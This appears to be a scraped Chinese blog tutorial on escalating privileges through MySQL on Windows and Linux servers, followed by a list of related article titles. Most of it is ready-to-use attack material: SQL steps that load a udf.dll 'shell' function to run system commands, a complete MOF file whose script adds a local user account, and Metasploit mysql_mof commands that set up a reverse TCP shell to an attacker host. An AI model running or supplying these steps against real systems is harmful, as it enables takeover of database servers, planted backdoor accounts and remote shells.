利用MySQL提权原理:

1、具有mysql的root权限,且mysql以system权限运行。

2、具有执行sql语句的权限,webshell或者外连皆可

UDF提权

UDF(user defined function 用户自定义函数)提权,要求有写权限(secure_file_priv要么为空,要么设置路径),单引号未被过滤

原理:

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)要想利用udf,必须上传udf.dll作为udf的执行库。

mysql中支持UDF扩展,使得我们可以凋用DLL里面的函数来实现一些特殊的功能。

0X01 MySQL信息收集

在拿到数据库账号密码后,查看用户权限,本地路径,版本信息

select user(); select @@basedir; select version();select @@plugin_dir ; #查询到MySQL的plugin位置# mysql版本<5.1,UDF导出到系统目录C:/windows/system32/ 如Windows2003放到c:\windows\system32# mysql版本>5.1,UDF导出到安装路径:Windows在MySQL\Lib\Plugin\(Plugin默认不存在,需自建) Linux则在/usr/lib/mysql/plugin下 show global variables like '%secure%';# mysql版本<5.5.53 , secure_file_priv 默认为空# mysql版本>=5.5.53 ,secure_file_priv 默认为null

0X02  创建函数

将udf.dll脚本上传至指定目录后执行命令

CREATE FUNCTION shell RETURNS string SONAME 'udf.dll'; # 创建函数 SELECT shell('cmd','whoami'); #执行命令

脚本链接 https://github.com/f1tz/UDF

Linux与Windows操作相似,具体操作参考上图,注意文件类型不是dll,而是so

如果遇到Function sys_eval already exists问题,执行以下语句

DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS shell;
DROP FUNCTION IF EXISTS cmd;
select * from mysql.plugin;
delete from mysql.plugin;

mof(托管对象)提权

提权原理:

mof是windows系统的一个文件(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式“其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysq的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

mof文件通过Mofcomp.exe编译执行。

仅适用于Windows

流程:
1、首先找个可写的目录,将我们的MOF文件上传上去。

连接菜刀,上传两个mof文件Adduser.mof,Addtoadmin.mof至C:windows/system32/wbem/mof/

select load_file(C:/wmpub/nullevt.mof) into dumpfile 'c:/windows/system32/wbem/mof/nulevt.mof'

2、mofcomp.exe xxx.mof 执行mof文件

虚拟终端进入此目录下,执行命令:mofcomp.exe Adduser.mof 等待数秒后net user 查看用户是否添加成功,再执行mofcomp.exe Addtoadmin.mof 等待数秒后 net user 用户名 查看是否添加到administrators组中

添加用户的mof文件代码                 
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;   #修改这里进行账户密码和组的修改
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

利用mof通过msf获得cmdshell

use exploit/windows/mysql/mysql_mof  #选取模块

options   #查看所需配置参数

set username  xxx

set password  xxx

set rhost  xxx.xxx.xxx.xxx

set payload windows/shell_reverse_tcp     #选择payload

options

set lhost xxxx

set lport xxx

exploit       #执行

内网学习之MySQL服务提权相关推荐

  1. 安全测试(三) 服务器安全 渗透测试 常规服务器安全漏洞 高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等 浅谈《社会工程学》实战案例

    文章目录 一.前言 二.服务器安全 高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号 扫描工具介绍 2.4 端口号 端口说明 攻击技巧 2.5 安全警示 ...

  2. [网络安全学习篇65]:提权

    引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...

  3. MYSQL数据库提权的几种方法——提权教程

    一.简介 在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权. 数据库提权的前提条件: 1.服务器开启数据库服务 2.获取到最高权限用户密码 (除Access数据库外,其他数据库基本都存在数据库提 ...

  4. 20201231WEB渗透学习之Linux内核提权

    欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注 我们都知道,如果已经获取了目标服务器(网站)的后门shell,那么我们接下啦要做的事情是什么? ...

  5. 使用NGINX代理通过外网连接内网服务器的mysql和redis等

    使用NGINX代理通过外网连接内网服务器的mysql和redis等 前言 使用工具 安装OpenResty 前言 服务器A.B,现在A和B互通,外网可以访问A,但是访问不到B,数据库等中间件安装在B服 ...

  6. MySQL数据库提权

    MySQL 数据库提权 一.UDF提权 UDF(User defined function,用户自定义函数)是MySQL的一个拓展接口,也就是支持用户自定义函数的功能.这里的自定义函数要以dll形式写 ...

  7. Windows与Linux的MYSQL UDF提权分析

    原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...

  8. 内网场景 Dubbo 微服务接入观测云

    简介¶ 有的项目,用户群体是公司内部人员,或者集团公司人员.为了安全,这些项目部署在自建机房,员工通过内网或者 VPN 访问.针对这种场景,观测云提供了离线部署的方案,即通过一台可以连外网的主机上部署 ...

  9. 如何升级cpolar内网穿透的套餐服务级别

    系列文章 如何升级cpolar内网穿透的套餐服务级别 升级cpolar内网穿透能够获得的功能 cpolar作为一款安全高效的内网穿透软件,拥有众多应用场景,从网站开发的客户预览和测试.个人本地网页发表 ...

最新文章

  1. jQuery Pagination分页插件--无刷新
  2. android web 打印,Android设备WebView打印Console Log
  3. python2中如何得到一级域名
  4. AutoMapper在asp.netcore中的使用
  5. FreeRTOS在STM32F429上移植
  6. 工作328:uni-两个页面对象传递
  7. 包头昆区多大面积_包头地铁“胎死腹中”,何时“卷土重来”?
  8. oracle游标fetch_SQL游标@@ FETCH_STATUS函数概述
  9. Largest Number(leetcode 179)
  10. shared_ptr使用场景、陷阱、性能分析,使用建议
  11. CentOS7.6下设置mysql服务开机启动
  12. 第五章 线性回归 学习笔记下
  13. 学校邮箱的pop服务器地,澳门大学的邮件服务器(POP)是多少
  14. 百万不是梦!盘点2012年六大IT高薪岗位
  15. 引用还是传值——被打脸后才发现多年的理解是错的
  16. 神技 破解EXCEL工作表保护密码
  17. 半岛铁盒平板测评--真的很垃圾的平板-怎么修改CPU型号
  18. android模拟器命令大全,雷电安卓模拟器命令行整理贴
  19. 关于排版的小软件的实现
  20. zigbee无线传感网实训---linux命令的简单了解(one day)

热门文章

  1. 逐帧动画与人运动动画制作
  2. ROS小白——软件安装(1)
  3. android 安装内核module,提示Required key not available
  4. 神奇的python(三)之Python扩展C/C++库(C转换为Python)
  5. Ubuntu14.04 下截图工具与设置快捷键
  6. pptx版式验证代码
  7. git-文本内容的回退-缓冲区退到工作区-工作区改动后改为改动前
  8. linux-选择输入法
  9. Java使用递归实现全排列的代码
  10. 让微信扫描直接下载你的APK